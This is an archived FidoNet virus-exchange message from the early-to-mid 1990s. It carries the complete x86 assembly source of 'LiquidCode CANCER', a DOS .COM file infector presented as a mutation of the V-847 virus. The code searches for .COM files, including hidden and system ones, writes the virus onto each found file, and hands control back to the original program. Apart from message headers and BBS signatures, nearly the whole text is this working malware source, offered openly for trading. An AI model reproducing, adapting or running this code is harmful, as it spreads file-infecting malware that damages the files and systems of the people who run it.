;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä ; Msg : 3 of 54 ; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 ; To : - *.* - Fri 11 Nov 94 08:10 ; Subj : LCT_762.ASM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;.RealName: Max Ivanov ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* Kicked-up by MeteO (2:5030/136) ;* Area : VIRUS (Int: ˆ­ä®p¬ æ¨ï ® ¢¨pãá å) ;* From : Alan Jones, 2:283/718 (06 Nov 94 16:17) ;* To : Ron Toler ;* Subj : LCT_762.ASM ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;@RFC-Path: ;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 ;18.n283!not-for-mail ;@RFC-Return-Receipt-To: Alan.Jones@f718.n283.z2.fidonet.org page ,132 name LiquidCodeCANCER title LQCancer - a mutation of the V-847 virus .radix 16 code segment assume cs:code,ds:code org 100 olddta equ 80 virlen equ offset endcode - offset start smalcod equ offset endcode - offset transf buffer equ offset endcode + 100 newdta equ offset endcode + 10 fname = newdta + 1E virlenx = offset endcode - offset start start: jmp cancer ident db 'LiquidCode' counter db 0 allcom db '*.COM',0 vleng db virlen n_10D db 3 ;Unused progbeg dd ? eof dw ? handle dw ? cancer: mov ax,cs ;Move program code add ax,1000 ; 64K bytes forward mov es,ax inc [counter] mov si,offset start xor di,di mov cx,virlen rep movsb mov dx,newdta ;Set new Disk Transfer Address mov ah,1A ;Set DTA mov ah,ah ;**** int 21 mov ah,ah ;**** mov dx,offset allcom ;Search for '*.COM' files mov cx,110b ;Normal, Hidden or System mov ah,4E ;Find First file int 21 jc done ;Quit if none found mainlp: mov dx,offset fname mov ax,3D02 ;Open file in Read/Write mode int 21 mov [handle],ax ;Save handle mov bx,ax push es pop ds mov dx,buffer mov cx,0FFFF ;Read all bytes mov ah,3F ;Read from handle int 21 ;Bytes read in AX add ax,buffer mov cs:[eof],ax ;Save pointer to the end of file xor cx,cx ;Go to file beginning mov dx,cx mov bx,cs:[handle] mov ax,4200 ;LSEEK from the beginning of the file int 21 jc close ;Leave this file if error occures mov dx,0 ;Write the whole code (virus+file) mov cx,cs:[eof] ; back onto the file mov bx,cs:[handle] mov ah,40 ;Write to handle int 21 close: mov bx,cs:[handle] mov ah,3E ;Close the file int 21 push cs pop ds ;Restore DS mov ah,4F ;Find next matching file mov dx,newdta int 21 jc done ;Exit if all found jmp mainlp ;Otherwise loop again done: mov dx,olddta ;Restore old Disk Transfer Address mov ah,1A ;Set DTA int 21 mov si,offset transf ;Move this part of code mov cx,smalcod ;Code length xor di,di ;Move to ES:0 rep movsb ;Do it xor di,di ;Clear DI mov word ptr cs:[progbeg],0 mov word ptr cs:[progbeg+2],es ;Point progbeg at program start jmp cs:[progbeg] ;Jump at program start transf: push ds pop es mov si,buffer+100 cmp [counter],1 jne skip sub si,200 skip: mov di,offset start mov di,di ;**** mov bx,0ffff ;**** mov cx,bx ;Restore original program's code mov ah,ah ;**** sub cx,si rep movsb mov word ptr cs:[start],offset start mov word ptr cs:[start+2],ds jmp dword ptr cs:[start] ;Jump to program start endcode label byte int 20 ;Dummy program int 20 ;??? db 0 ;Unused code ends end start ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;-+- GoldED 2.50.B1016+ ; + Origin: Fred's Place (2:283/718) ;============================================================================= ; ;Yoo-hooo-oo, -! ; ; ; þ The MeÂeO ; ;/n Suppress symbol tables in listing ; ;--- Aidstest Null: /Kill ; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)